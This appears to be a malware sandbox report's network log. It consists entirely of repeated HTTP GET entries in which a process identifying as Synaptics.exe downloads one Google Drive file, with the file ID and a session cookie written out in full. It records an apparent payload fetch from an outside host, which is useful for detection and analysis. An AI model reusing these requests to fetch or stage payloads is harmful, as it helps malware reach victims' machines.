Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
